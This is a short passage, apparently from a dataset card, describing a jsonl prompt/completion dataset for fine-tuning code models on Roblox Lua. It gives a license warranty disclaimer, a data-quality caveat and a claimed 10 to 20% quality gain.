THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Format:
The dataset format is in jsonl format, with prompt / completion fields.
Dataset usage:
This dataset is designed for fine tuning large language models.
Risks:
The dataset has been filtered for various quality signals, though Roblox makes no guarantees of data quality.
Evaluation:
We have found that typically fine tuning a generalist code LLM improve it’s performance on Roblox Lua code quality by 10 to 20%.
- Downloads last month
- 98